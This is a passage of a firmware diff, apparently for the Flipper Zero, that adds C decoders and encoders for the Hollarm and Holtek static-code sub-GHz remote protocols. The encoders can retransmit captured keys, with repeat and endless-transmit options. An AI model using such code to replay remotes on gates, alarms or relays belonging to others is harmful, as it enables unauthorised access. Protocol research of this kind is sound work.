SubGhzProtocolDecoderHollarm* instance = context;
// Parse serial
subghz_protocol_hollarm_remote_controller(&instance->generic);
// Get byte sum
uint8_t bytesum =
((instance->generic.data >> 32) & 0xFF) + ((instance->generic.data >> 24) & 0xFF) +
((instance->generic.data >> 16) & 0xFF) + ((instance->generic.data >> 8) & 0xFF);
// push protocol data to global variable
subghz_block_generic_global.btn_is_available = true;
subghz_block_generic_global.current_btn = instance->generic.btn;
subghz_block_generic_global.btn_length_bit = 4;
//
furi_string_cat_printf(
output,
"%s %db\r\n"
"Key: 0x%02lX%08lX\r\n"
"Serial: 0x%06lX Sum: %02X\r\n"
"Btn: 0x%01X - %s\r\n",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(uint32_t)(instance->generic.data >> 32),
(uint32_t)instance->generic.data,
instance->generic.serial,
bytesum,
instance->generic.btn,
subghz_protocol_hollarm_get_button_name(instance->generic.btn));
}
@@ -0,0 +1,109 @@
#pragma once
#include "base.h"
#define SUBGHZ_PROTOCOL_HOLLARM_NAME "Hollarm"
typedef struct SubGhzProtocolDecoderHollarm SubGhzProtocolDecoderHollarm;
typedef struct SubGhzProtocolEncoderHollarm SubGhzProtocolEncoderHollarm;
extern const SubGhzProtocolDecoder subghz_protocol_hollarm_decoder;
extern const SubGhzProtocolEncoder subghz_protocol_hollarm_encoder;
extern const SubGhzProtocol subghz_protocol_hollarm;
/**
* Allocate SubGhzProtocolEncoderHollarm.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolEncoderHollarm* pointer to a SubGhzProtocolEncoderHollarm instance
*/
void* subghz_protocol_encoder_hollarm_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolEncoderHollarm.
* @param context Pointer to a SubGhzProtocolEncoderHollarm instance
*/
void subghz_protocol_encoder_hollarm_free(void* context);
/**
* Deserialize and generating an upload to send.
* @param context Pointer to a SubGhzProtocolEncoderHollarm instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_encoder_hollarm_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Forced transmission stop.
* @param context Pointer to a SubGhzProtocolEncoderHollarm instance
*/
void subghz_protocol_encoder_hollarm_stop(void* context);
/**
* Getting the level and duration of the upload to be loaded into DMA.
* @param context Pointer to a SubGhzProtocolEncoderHollarm instance
* @return LevelDuration
*/
LevelDuration subghz_protocol_encoder_hollarm_yield(void* context);
/**
* Allocate SubGhzProtocolDecoderHollarm.
* @param environment Pointer to a SubGhzEnvironment instance
* @return SubGhzProtocolDecoderHollarm* pointer to a SubGhzProtocolDecoderHollarm instance
*/
void* subghz_protocol_decoder_hollarm_alloc(SubGhzEnvironment* environment);
/**
* Free SubGhzProtocolDecoderHollarm.
* @param context Pointer to a SubGhzProtocolDecoderHollarm instance
*/
void subghz_protocol_decoder_hollarm_free(void* context);
/**
* Reset decoder SubGhzProtocolDecoderHollarm.
* @param context Pointer to a SubGhzProtocolDecoderHollarm instance
*/
void subghz_protocol_decoder_hollarm_reset(void* context);
/**
* Parse a raw sequence of levels and durations received from the air.
* @param context Pointer to a SubGhzProtocolDecoderHollarm instance
* @param level Signal level true-high false-low
* @param duration Duration of this level in, us
*/
void subghz_protocol_decoder_hollarm_feed(void* context, bool level, uint32_t duration);
/**
* Getting the hash sum of the last randomly received parcel.
* @param context Pointer to a SubGhzProtocolDecoderHollarm instance
* @return hash Hash sum
*/
uint8_t subghz_protocol_decoder_hollarm_get_hash_data(void* context);
/**
* Serialize data SubGhzProtocolDecoderHollarm.
* @param context Pointer to a SubGhzProtocolDecoderHollarm instance
* @param flipper_format Pointer to a FlipperFormat instance
* @param preset The modulation on which the signal was received, SubGhzRadioPreset
* @return status
*/
SubGhzProtocolStatus subghz_protocol_decoder_hollarm_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset);
/**
* Deserialize data SubGhzProtocolDecoderHollarm.
* @param context Pointer to a SubGhzProtocolDecoderHollarm instance
* @param flipper_format Pointer to a FlipperFormat instance
* @return status
*/
SubGhzProtocolStatus
subghz_protocol_decoder_hollarm_deserialize(void* context, FlipperFormat* flipper_format);
/**
* Getting a textual representation of the received data.
* @param context Pointer to a SubGhzProtocolDecoderHollarm instance
* @param output Resulting text
*/
void subghz_protocol_decoder_hollarm_get_string(void* context, FuriString* output);
@@ -0,0 +1,370 @@
#include "holtek.h"
#include <lib/subghz/blocks/const.h>
#include <lib/subghz/blocks/decoder.h>
#include <lib/subghz/blocks/encoder.h>
#include <lib/subghz/blocks/generic.h>
#include <lib/subghz/blocks/math.h>
/*
* Help
* https://pdf1.alldatasheet.com/datasheet-pdf/view/82103/HOLTEK/HT640.html
* https://fccid.io/OJM-CMD-HHLR-XXXA
*
*/
#define TAG "SubGhzProtocolHoltek"
#define HOLTEK_HEADER_MASK 0xF000000000
#define HOLTEK_HEADER 0x5000000000
static const SubGhzBlockConst subghz_protocol_holtek_const = {
.te_short = 430,
.te_long = 870,
.te_delta = 100,
.min_count_bit_for_found = 40,
};
struct SubGhzProtocolDecoderHoltek {
SubGhzProtocolDecoderBase base;
SubGhzBlockDecoder decoder;
SubGhzBlockGeneric generic;
};
struct SubGhzProtocolEncoderHoltek {
SubGhzProtocolEncoderBase base;
SubGhzProtocolBlockEncoder encoder;
SubGhzBlockGeneric generic;
};
typedef enum {
HoltekDecoderStepReset = 0,
HoltekDecoderStepFoundStartBit,
HoltekDecoderStepSaveDuration,
HoltekDecoderStepCheckDuration,
} HoltekDecoderStep;
const SubGhzProtocolDecoder subghz_protocol_holtek_decoder = {
.alloc = subghz_protocol_decoder_holtek_alloc,
.free = subghz_protocol_decoder_holtek_free,
.feed = subghz_protocol_decoder_holtek_feed,
.reset = subghz_protocol_decoder_holtek_reset,
.get_hash_data = subghz_protocol_decoder_holtek_get_hash_data,
.serialize = subghz_protocol_decoder_holtek_serialize,
.deserialize = subghz_protocol_decoder_holtek_deserialize,
.get_string = subghz_protocol_decoder_holtek_get_string,
};
const SubGhzProtocolEncoder subghz_protocol_holtek_encoder = {
.alloc = subghz_protocol_encoder_holtek_alloc,
.free = subghz_protocol_encoder_holtek_free,
.deserialize = subghz_protocol_encoder_holtek_deserialize,
.stop = subghz_protocol_encoder_holtek_stop,
.yield = subghz_protocol_encoder_holtek_yield,
};
const SubGhzProtocol subghz_protocol_holtek = {
.name = SUBGHZ_PROTOCOL_HOLTEK_NAME,
.type = SubGhzProtocolTypeStatic,
.flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_868 | SubGhzProtocolFlag_315 |
SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable | SubGhzProtocolFlag_Load |
SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
.decoder = &subghz_protocol_holtek_decoder,
.encoder = &subghz_protocol_holtek_encoder,
};
void* subghz_protocol_encoder_holtek_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolEncoderHoltek* instance = malloc(sizeof(SubGhzProtocolEncoderHoltek));
instance->base.protocol = &subghz_protocol_holtek;
instance->generic.protocol_name = instance->base.protocol->name;
instance->encoder.repeat = 3;
instance->encoder.size_upload = 128;
instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
instance->encoder.is_running = false;
return instance;
}
void subghz_protocol_encoder_holtek_free(void* context) {
furi_assert(context);
SubGhzProtocolEncoderHoltek* instance = context;
free(instance->encoder.upload);
free(instance);
}
/**
* Generating an upload from data.
* @param instance Pointer to a SubGhzProtocolEncoderHoltek instance
* @return true On success
*/
static bool subghz_protocol_encoder_holtek_get_upload(SubGhzProtocolEncoderHoltek* instance) {
furi_assert(instance);
size_t index = 0;
size_t size_upload = (instance->generic.data_count_bit * 2) + 2;
if(size_upload > instance->encoder.size_upload) {
FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
return false;
} else {
instance->encoder.size_upload = size_upload;
}
//Send header
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_holtek_const.te_short * 36);
//Send start bit
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_holtek_const.te_short);
//Send key data
for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
if(bit_read(instance->generic.data, i - 1)) {
//send bit 1
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_holtek_const.te_long);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_holtek_const.te_short);
} else {
//send bit 0
instance->encoder.upload[index++] =
level_duration_make(false, (uint32_t)subghz_protocol_holtek_const.te_short);
instance->encoder.upload[index++] =
level_duration_make(true, (uint32_t)subghz_protocol_holtek_const.te_long);
}
}
return true;
}
SubGhzProtocolStatus
subghz_protocol_encoder_holtek_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolEncoderHoltek* instance = context;
SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
do {
ret = subghz_block_generic_deserialize_check_count_bit(
&instance->generic,
flipper_format,
subghz_protocol_holtek_const.min_count_bit_for_found);
if(ret != SubGhzProtocolStatusOk) {
break;
}
// Optional value
flipper_format_read_uint32(
flipper_format, "Repeat", (uint32_t*)&instance->encoder.repeat, 1);
if(!subghz_protocol_encoder_holtek_get_upload(instance)) {
ret = SubGhzProtocolStatusErrorEncoderGetUpload;
break;
}
instance->encoder.is_running = true;
} while(false);
return ret;
}
void subghz_protocol_encoder_holtek_stop(void* context) {
SubGhzProtocolEncoderHoltek* instance = context;
instance->encoder.is_running = false;
}
LevelDuration subghz_protocol_encoder_holtek_yield(void* context) {
SubGhzProtocolEncoderHoltek* instance = context;
if(instance->encoder.repeat == 0 || !instance->encoder.is_running) {
instance->encoder.is_running = false;
return level_duration_reset();
}
LevelDuration ret = instance->encoder.upload[instance->encoder.front];
if(++instance->encoder.front == instance->encoder.size_upload) {
if(!subghz_block_generic_global.endless_tx) instance->encoder.repeat--;
instance->encoder.front = 0;
}
return ret;
}
void* subghz_protocol_decoder_holtek_alloc(SubGhzEnvironment* environment) {
UNUSED(environment);
SubGhzProtocolDecoderHoltek* instance = malloc(sizeof(SubGhzProtocolDecoderHoltek));
instance->base.protocol = &subghz_protocol_holtek;
instance->generic.protocol_name = instance->base.protocol->name;
return instance;
}
void subghz_protocol_decoder_holtek_free(void* context) {
furi_assert(context);
SubGhzProtocolDecoderHoltek* instance = context;
free(instance);
}
void subghz_protocol_decoder_holtek_reset(void* context) {
furi_assert(context);
SubGhzProtocolDecoderHoltek* instance = context;
instance->decoder.parser_step = HoltekDecoderStepReset;
}
void subghz_protocol_decoder_holtek_feed(void* context, bool level, uint32_t duration) {
furi_assert(context);
SubGhzProtocolDecoderHoltek* instance = context;
switch(instance->decoder.parser_step) {
case HoltekDecoderStepReset:
if((!level) && (DURATION_DIFF(duration, subghz_protocol_holtek_const.te_short * 36) <
subghz_protocol_holtek_const.te_delta * 36)) {
//Found Preambula
instance->decoder.parser_step = HoltekDecoderStepFoundStartBit;
}
break;
case HoltekDecoderStepFoundStartBit:
if((level) && (DURATION_DIFF(duration, subghz_protocol_holtek_const.te_short) <
subghz_protocol_holtek_const.te_delta)) {
//Found StartBit
instance->decoder.parser_step = HoltekDecoderStepSaveDuration;
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
} else {
instance->decoder.parser_step = HoltekDecoderStepReset;
}
break;
case HoltekDecoderStepSaveDuration:
//save duration
if(!level) {
if(duration >= ((uint32_t)subghz_protocol_holtek_const.te_short * 10 +
subghz_protocol_holtek_const.te_delta)) {
if(instance->decoder.decode_count_bit ==
subghz_protocol_holtek_const.min_count_bit_for_found) {
if((instance->decoder.decode_data & HOLTEK_HEADER_MASK) == HOLTEK_HEADER) {
instance->generic.data = instance->decoder.decode_data;
instance->generic.data_count_bit = instance->decoder.decode_count_bit;
if(instance->base.callback)
instance->base.callback(&instance->base, instance->base.context);
}
}
instance->decoder.decode_data = 0;
instance->decoder.decode_count_bit = 0;
instance->decoder.parser_step = HoltekDecoderStepFoundStartBit;
break;
} else {
instance->decoder.te_last = duration;
instance->decoder.parser_step = HoltekDecoderStepCheckDuration;
}
} else {
instance->decoder.parser_step = HoltekDecoderStepReset;
}
break;
case HoltekDecoderStepCheckDuration:
if(level) {
if((DURATION_DIFF(instance->decoder.te_last, subghz_protocol_holtek_const.te_short) <
subghz_protocol_holtek_const.te_delta) &&
(DURATION_DIFF(duration, subghz_protocol_holtek_const.te_long) <
subghz_protocol_holtek_const.te_delta * 2)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 0);
instance->decoder.parser_step = HoltekDecoderStepSaveDuration;
} else if(
(DURATION_DIFF(instance->decoder.te_last, subghz_protocol_holtek_const.te_long) <
subghz_protocol_holtek_const.te_delta * 2) &&
(DURATION_DIFF(duration, subghz_protocol_holtek_const.te_short) <
subghz_protocol_holtek_const.te_delta)) {
subghz_protocol_blocks_add_bit(&instance->decoder, 1);
instance->decoder.parser_step = HoltekDecoderStepSaveDuration;
} else {
instance->decoder.parser_step = HoltekDecoderStepReset;
}
} else {
instance->decoder.parser_step = HoltekDecoderStepReset;
}
break;
}
}
/**
* Analysis of received data
* @param instance Pointer to a SubGhzBlockGeneric* instance
*/
static void subghz_protocol_holtek_check_remote_controller(SubGhzBlockGeneric* instance) {
if((instance->data & HOLTEK_HEADER_MASK) == HOLTEK_HEADER) {
instance->serial =
subghz_protocol_blocks_reverse_key((instance->data >> 16) & 0xFFFFF, 20);
uint16_t btn = instance->data & 0xFFFF;
if((btn & 0xf) != 0xA) {
instance->btn = 0x1 << 4 | (btn & 0xF);
} else if(((btn >> 4) & 0xF) != 0xA) {
instance->btn = 0x2 << 4 | ((btn >> 4) & 0xF);
} else if(((btn >> 8) & 0xF) != 0xA) {
instance->btn = 0x3 << 4 | ((btn >> 8) & 0xF);
} else if(((btn >> 12) & 0xF) != 0xA) {
instance->btn = 0x4 << 4 | ((btn >> 12) & 0xF);
} else {
instance->btn = 0;
}
} else {
instance->serial = 0;
instance->btn = 0;
instance->cnt = 0;
}
}
uint8_t subghz_protocol_decoder_holtek_get_hash_data(void* context) {
furi_assert(context);
SubGhzProtocolDecoderHoltek* instance = context;
return subghz_protocol_blocks_get_hash_data(
&instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
}
SubGhzProtocolStatus subghz_protocol_decoder_holtek_serialize(
void* context,
FlipperFormat* flipper_format,
SubGhzRadioPreset* preset) {
furi_assert(context);
SubGhzProtocolDecoderHoltek* instance = context;
return subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
}
SubGhzProtocolStatus
subghz_protocol_decoder_holtek_deserialize(void* context, FlipperFormat* flipper_format) {
furi_assert(context);
SubGhzProtocolDecoderHoltek* instance = context;
return subghz_block_generic_deserialize_check_count_bit(
&instance->generic, flipper_format, subghz_protocol_holtek_const.min_count_bit_for_found);
}
void subghz_protocol_decoder_holtek_get_string(void* context, FuriString* output) {
furi_assert(context);
SubGhzProtocolDecoderHoltek* instance = context;
subghz_protocol_holtek_check_remote_controller(&instance->generic);
// push protocol data to global variable
subghz_block_generic_global.btn_is_available = false;
subghz_block_generic_global.current_btn = instance->generic.btn;
subghz_block_generic_global.btn_length_bit = 4;
//
furi_string_cat_printf(
output,
"%s %dbit\r\n"
"Key:0x%lX%08lX\r\n"
"Sn:0x%05lX Btn:%X ",
instance->generic.protocol_name,
instance->generic.data_count_bit,
(uint32_t)((instance->generic.data >> 32) & 0xFFFFFFFF),
(uint32_t)(instance->generic.data & 0xFFFFFFFF),
instance->generic.serial,
instance->generic.btn >> 4);
if((instance->generic.btn & 0xF) == 0xE) {
furi_string_cat_printf(output, "ON\r\n");
} else if((instance->generic.btn & 0xF) == 0xB) {
furi_string_cat_printf(output, "OFF\r\n");
}
}

Some files were not shown because too many files have changed in this diff Show More